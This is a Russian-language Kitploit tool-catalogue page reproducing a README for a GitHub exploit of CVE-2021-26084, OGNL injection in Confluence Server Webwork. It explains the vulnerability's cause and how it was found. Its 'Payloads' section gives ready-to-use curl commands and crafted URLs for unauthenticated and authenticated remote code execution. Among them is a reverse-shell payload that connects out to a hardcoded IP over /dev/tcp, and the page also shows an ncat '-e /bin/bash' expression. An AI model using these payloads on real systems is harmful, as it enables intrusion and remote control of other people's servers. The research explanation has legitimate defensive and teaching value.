Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-26084 — CVE-2021-26084 - инъекция OGNL в Confluence Server Webwork | Kitploit
Инструменты/GitHubGitHub/orangmuda/cve-2021-26084
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHuborangmuda/cve-2021-26084

CVE-2021-26084

CVE-2021-26084 - инъекция OGNL в Confluence Server Webwork

Репозиторий
4384 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2021-26084

Введение

В этом документе представлен обзор CVE-2021-26084 — инъекции OGNL в Confluence Server Webwork [1], которая позволяет авторизованному пользователю выполнять произвольный код на экземпляре Confluence Server или Data Center.

TL;DR

Confluence Server / Data Center использует MVC-фреймворк Webwork 2 для обработки веб-запросов, а уровень представления в основном состоит из шаблонов Velocity. При использовании тегов Webwork с атрибутом value, содержащим $, в шаблонах Velocity выполняется двойное вычисление. Когда встречается тег Webwork с атрибутом Value, содержащим $, при разборе шаблона Velocity происходит первичное вычисление; затем это вычисленное значение передаётся тегу Webwork, который дополнительно вычисляет его как OGNL-выражение. Если класс действия (action class) предоставляет функцию-сеттер для параметра, используемого в атрибуте value, этот параметр можно задать из URL с помощью параметров URL. Таким образом, создав URL с OGNL-пейлоадом, злоумышленник может выполнить удалённый код на затронутых версиях Confluence Server / Data Center.

Полезные нагрузки

# UnAuthenticated RCE  - based on the awesome write-up  at httpvoid; courtesy of  Harsh Jaiswal(rootxharsh), Rahul Maini (iamnoooob) [8]
curl -i -s -k -X $'POST' -H $'Host: 127.0.0.1:8090' -H $'Accept-Encoding: gzip, deflate' -H $'Accept: */*' -H $'Accept-Language: en' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 186' --data-binary $'linkCreation=a%5Cu0027%2B%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D.findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu0027xcalc%5Cu0027%29%5Cu0022%29%2B%5Cu0027' $'http://localhost:8090/pages/doenterpagevariables.action'

# UnAuthenticated RCE for Confluence < 7.12.14, Only if allow people to sign up to create their account' is enabled. COG > User Management > User Signup Options.
http://localhost:8090/signup.action?token=%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu00
5C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027

# Authenticated RCE for Confluence < 7.12.14, a valid user account is required on the Confluence Server
http://localhost:8090/users/darkfeatures.action?featureKey=%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28
%29.exec%28%5Cu005C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027

# Authenticated RCE for for Confluence 7.12.14, the newSpaceKey parm is to be updated with the Space key of a space the user has Add Pages Permission
http://localhos:8090/pages/docreatepagefromtemplate.action?newSpaceKey=SAN&sourceTemplateId=uu%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%
40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu005C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027

# The payload below spawns a reverse shell to a remote host running a netcat listener.BurpSuite addon Hackvertor tags has been used for readability and has to be converted accordingly
http://localhos:8090/pages/docreatepagefromtemplate.action?sourceTemplateId=oa<@urlencode_not_plus>\u0027+(#attr[\u0022webwork.valueStack\u0022]).(findValue(\u0022(#cmd=new
java.lang.String[]{\u0027/bin/bash\u0027,\u0027-c\u0027,\u0027<@unicode_escapes>exec 5<>/dev/tcp/35.224.37.217/8021;cat <&5 | while read line; do $line 2>&5 >&5;
done<@/unicode_escapes>\u0027}).(@java.lang.Runtime@getRuntime().exec(#cmd))\u0022))+\u0027<@/urlencode_not_plus>

Инъекция Expression Language

Уязвимости инъекции Expression Language возникают, когда приложение включает пользовательские данные в строку, которая динамически вычисляется интерпретатором кода. Если пользовательские данные не проходят строгую проверку, злоумышленник может с помощью специально сформированного ввода изменить выполняемый код и внедрить произвольный код, который будет выполнен сервером [2]. Object-Graph Navigation Language (OGNL) [3] — это язык выражений для работы с Java-объектами. При наличии уязвимости инъекции OGNL злоумышленник может внедрять OGNL-выражения, которые затем используются для выполнения произвольного Java-кода. Помимо получения и установки свойств, OGNL поддерживает множество других возможностей, из которых следующие представляют интерес с точки зрения разработки эксплойтов:

  • Вызов статического метода: @java.lang.Runtime@getRuntime()

  • Вызов конструктора: new java.lang.String[]{'/bin/bash','-c', ‘xcalc’}

  • Возможность работы с контекстными переменными: #attr["webwork.valueStack"]

  • Вызов метода: #attr["webwork.valueStack"].findValue()

Комбинируя вышеуказанные конструкции, можно сформировать корректное OGNL-выражение. Типичное OGNL-выражение показано ниже:

@java.lang.Runtime@getRuntime().exec('ncat 203.0.113.5 8021 -e /bin/bash')

Webwork 2

WebWork 2 — это MVC-фреймворк с моделью pull, построенный поверх API фреймворка командного паттерна XWork, и предшественник популярного Apache Struts2. Confluence использует WebWork 2 от OpenSymphony для обработки веб-запросов, отправляемых пользователями. Webwork поддерживает мощный язык выражений на основе OGNL для навигации по своему стеку объектов (также известному как ValueStack). Он также поддерживает несколько технологий представлений, включая JSP, FreeMarker, Velocity, и предоставляет богатую библиотеку тегов. «WebWork: Strutting the OpenSymphony way» Майка Кэннона-Брукса [4] даёт отличный обзор фреймворка Webwork 2. Среди прочего, что представляет особый интерес для данной уязвимости, — поддержка Webwork следующих возможностей:

  • Автоматическая установка свойств действия (action) на основе параметров запроса (URL-параметров)
  • Интеграция представлений (Velocity)
  • Компоненты пользовательского интерфейса / формы (теги Webwork), которые обрабатывают некоторые свои атрибуты с помощью OGNL

Обнаружение

Обнаружение уязвимости в основном включало подход white box тестирования, при котором инструментирование исходного кода использовалось для анализа вычисления OGNL. Следуя отличным исследованиям исследователя GHSL Man Yue Mo по инъекции OGNL в Apache Struts [5] [6] [7], было замечено, что метод evaluateParams класса UIBean является интересным кандидатом. Исходный код библиотеки webwork в Confluence Data Center (atlassian-confluence-x.y.z/confluence/WEB-INF/lib/webwork-2.1.5-atlassian-3.jar) был извлечён с помощью JD GUI и проанализирован на предмет методов, похожих на evaluateParams. Ближайшим совпадением оказался метод protected void evaluateParams(OgnlValueStack stack) в com.opensymphony.webwork.views.jsp.ui.AbstractUITag. Анализ исходного кода также показал, что существует класс com.opensymphony.webwork.util.SafeExpressionUtil, который блокировал большинство OGNL-пейлоадов.

Поскольку у автора почти не было опыта запуска Confluence Server в отладчике, для вывода результатов вычисления OGNL в указанных классах использовались простые операторы печати. Шаги по инструментированию исходного кода были следующими:

  1. Декомпилируйте webwork-2.1.5-atlassian-3.jar с помощью JD GUI.
  2. Скопируйте файлы AbstractUITag.java и SafeExpressionUtil.java во временную папку на сервере Confluence.
  3. Добавьте в интересующие методы операторы печати, выводящие результаты в stdout.
Скачать инструмент